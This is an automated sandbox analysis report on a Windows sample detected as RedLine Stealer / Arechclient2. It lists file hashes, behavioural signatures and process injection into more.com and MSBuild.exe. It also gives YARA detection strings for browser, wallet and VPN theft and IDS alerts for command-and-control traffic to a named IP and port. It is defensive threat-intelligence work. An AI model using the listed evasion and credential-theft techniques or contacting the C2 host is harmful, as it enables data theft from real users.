Edit tour

Windows Analysis Report
1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Overview

General Information

Sample name:	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe
Analysis ID:	1518760
MD5:	2afbe1369dd12cc3264a4b4c332396b0
SHA1:	06b730230788c3f066f634a0c2a499e961180e26
SHA256:	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38bc6fc8dc06c595a08ad
Tags:	Arechclient2exeuser-abuse_ch
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected RedLine Stealer

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

Is looking for software installed on the system

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe (PID: 4116 cmdline: "C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe" MD5: 2AFBE1369DD12CC3264A4B4C332396B0)

more.com (PID: 6572 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 2700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 2688 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

ITERHPGen.exe (PID: 5784 cmdline: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe MD5: 2AFBE1369DD12CC3264A4B4C332396B0)

more.com (PID: 6284 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 6204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 5188 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

ITERHPGen.exe (PID: 4232 cmdline: "C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe" MD5: 2AFBE1369DD12CC3264A4B4C332396B0)

more.com (PID: 5648 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 4348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 5912 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

ITERHPGen.exe (PID: 4236 cmdline: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe MD5: 2AFBE1369DD12CC3264A4B4C332396B0)

more.com (PID: 2664 cmdline: C:\Windows\SysWOW64\more.com MD5: 03805AE7E8CBC07840108F5C80CF4973)

conhost.exe (PID: 2008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 3924 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\yuyhf	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\yuyhf	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\kwvvjj	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\kwvvjj	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\yuyhf	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
C:\Users\user\AppData\Local\Temp\kwvvjj	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
C:\Users\user\AppData\Local\Temp\xwv	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\xwv	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\xwv	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
C:\Users\user\AppData\Local\Temp\pvrrwvlxy	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\pvrrwvlxy	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\pvrrwvlxy	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.3933436343.00000000061B3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1790965058.0000000005FD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1790965058.0000000005FD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000007.00000002.1841478757.0000000005730000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1841478757.0000000005730000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000002.3847190043.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.3847190043.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000002.1899584692.0000000005C10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.1899584692.0000000005C10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000D.00000002.1841211750.00000000009C2000.00000002.00000001.01000000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.1841211750.00000000009C2000.00000002.00000001.01000000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: more.com PID: 6572	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: more.com PID: 6572	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: more.com PID: 6284	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: more.com PID: 6284	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 2688	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 2688	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: more.com PID: 5648	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: more.com PID: 5648	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 5188	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 5188	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: more.com PID: 2664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: more.com PID: 2664	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.more.com.57300c8.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.more.com.57300c8.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
7.2.more.com.57300c8.7.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb684a:$s14: keybd_event 0xbd5b9:$v1_1: grabber@ 0xb741c:$v1_2: <BrowserProfile>k__ 0xb7e95:$v1_3: <SystemHardwares>k__ 0xb7f54:$v1_5: <ScannedWallets>k__ 0xb7fe4:$v1_6: <DicrFiles>k__ 0xb7fc0:$v1_7: <MessageClientFiles>k__ 0xb838a:$v1_8: <ScanBrowsers>k__BackingField 0xb83dc:$v1_8: <ScanWallets>k__BackingField 0xb83f9:$v1_8: <ScanScreen>k__BackingField 0xb8433:$v1_8: <ScanVPN>k__BackingField 0xa9c62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xa956e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
22.2.more.com.51c00c8.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
22.2.more.com.51c00c8.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.2.more.com.51c00c8.7.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb684a:$s14: keybd_event 0xbd5b9:$v1_1: grabber@ 0xb741c:$v1_2: <BrowserProfile>k__ 0xb7e95:$v1_3: <SystemHardwares>k__ 0xb7f54:$v1_5: <ScannedWallets>k__ 0xb7fe4:$v1_6: <DicrFiles>k__ 0xb7fc0:$v1_7: <MessageClientFiles>k__ 0xb838a:$v1_8: <ScanBrowsers>k__BackingField 0xb83dc:$v1_8: <ScanWallets>k__BackingField 0xb83f9:$v1_8: <ScanScreen>k__BackingField 0xb8433:$v1_8: <ScanVPN>k__BackingField 0xa9c62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xa956e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
11.2.more.com.5c100c8.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.more.com.5c100c8.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
11.2.more.com.5c100c8.7.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb684a:$s14: keybd_event 0xbd5b9:$v1_1: grabber@ 0xb741c:$v1_2: <BrowserProfile>k__ 0xb7e95:$v1_3: <SystemHardwares>k__ 0xb7f54:$v1_5: <ScannedWallets>k__ 0xb7fe4:$v1_6: <DicrFiles>k__ 0xb7fc0:$v1_7: <MessageClientFiles>k__ 0xb838a:$v1_8: <ScanBrowsers>k__BackingField 0xb83dc:$v1_8: <ScanWallets>k__BackingField 0xb83f9:$v1_8: <ScanScreen>k__BackingField 0xb8433:$v1_8: <ScanVPN>k__BackingField 0xa9c62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xa956e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
11.2.more.com.5c100c8.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.more.com.5c100c8.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
11.2.more.com.5c100c8.7.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
2.2.more.com.5fd00c8.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.more.com.5fd00c8.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.more.com.5fd00c8.7.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
13.2.MSBuild.exe.9c0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.MSBuild.exe.9c0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
13.2.MSBuild.exe.9c0000.0.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
7.2.more.com.57300c8.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.more.com.57300c8.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
7.2.more.com.57300c8.7.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
2.2.more.com.5fd00c8.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.more.com.5fd00c8.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.more.com.5fd00c8.7.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb684a:$s14: keybd_event 0xbd5b9:$v1_1: grabber@ 0xb741c:$v1_2: <BrowserProfile>k__ 0xb7e95:$v1_3: <SystemHardwares>k__ 0xb7f54:$v1_5: <ScannedWallets>k__ 0xb7fe4:$v1_6: <DicrFiles>k__ 0xb7fc0:$v1_7: <MessageClientFiles>k__ 0xb838a:$v1_8: <ScanBrowsers>k__BackingField 0xb83dc:$v1_8: <ScanWallets>k__BackingField 0xb83f9:$v1_8: <ScanScreen>k__BackingField 0xb8433:$v1_8: <ScanVPN>k__BackingField 0xa9c62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xa956e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
22.2.more.com.51c00c8.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
22.2.more.com.51c00c8.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.2.more.com.51c00c8.7.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
Click to see the 22 entries

Suricata Signatures

ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T01:47:58.438204+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.7	49716	TCP
2024-09-26T01:49:12.333176+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.7	58383	TCP
2024-09-26T01:49:14.139775+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.7	58385	TCP
2024-09-26T01:49:16.474551+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.7	58388	TCP
2024-09-26T01:49:18.775014+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.7	58391	TCP
2024-09-26T01:49:22.700755+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.7	58394	TCP
2024-09-26T01:49:51.351224+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.7	58407	TCP
2024-09-26T01:49:54.624516+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.7	58410	TCP
2024-09-26T01:50:41.834730+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.7	58417	TCP
2024-09-26T01:50:42.754705+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.7	58418	TCP
2024-09-26T01:51:20.629083+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.7	58432	TCP
2024-09-26T01:51:25.393717+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.7	58434	TCP
2024-09-26T01:51:27.103355+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.7	58436	TCP

ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T01:47:57.842580+0200	2051910	1	A Network Trojan was detected	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:57.950001+0200	2051910	1	A Network Trojan was detected	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.059489+0200	2051910	1	A Network Trojan was detected	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.168607+0200	2051910	1	A Network Trojan was detected	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.277897+0200	2051910	1	A Network Trojan was detected	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.387407+0200	2051910	1	A Network Trojan was detected	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.498001+0200	2051910	1	A Network Trojan was detected	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.605796+0200	2051910	1	A Network Trojan was detected	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.715169+0200	2051910	1	A Network Trojan was detected	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:47:58.824699+0200	2051910	1	A Network Trojan was detected	192.168.2.7	49716	213.109.202.97	15647	TCP
2024-09-26T01:49:10.799058+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.809348+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.824710+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.840594+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.857212+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.871579+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.887182+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.902851+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.918534+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.934391+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.950854+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.965403+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.980983+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:10.996604+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58379	213.109.202.97	15647	TCP
2024-09-26T01:49:11.017731+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.027894+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.043565+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.060205+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.074786+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.090297+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.106150+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.121777+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58380	213.109.202.97	15647	TCP
2024-09-26T01:49:11.142625+0200	2051910	1	A Network Trojan was detected	192.168.2.7	58381	213.109.202.97	15647	TCP
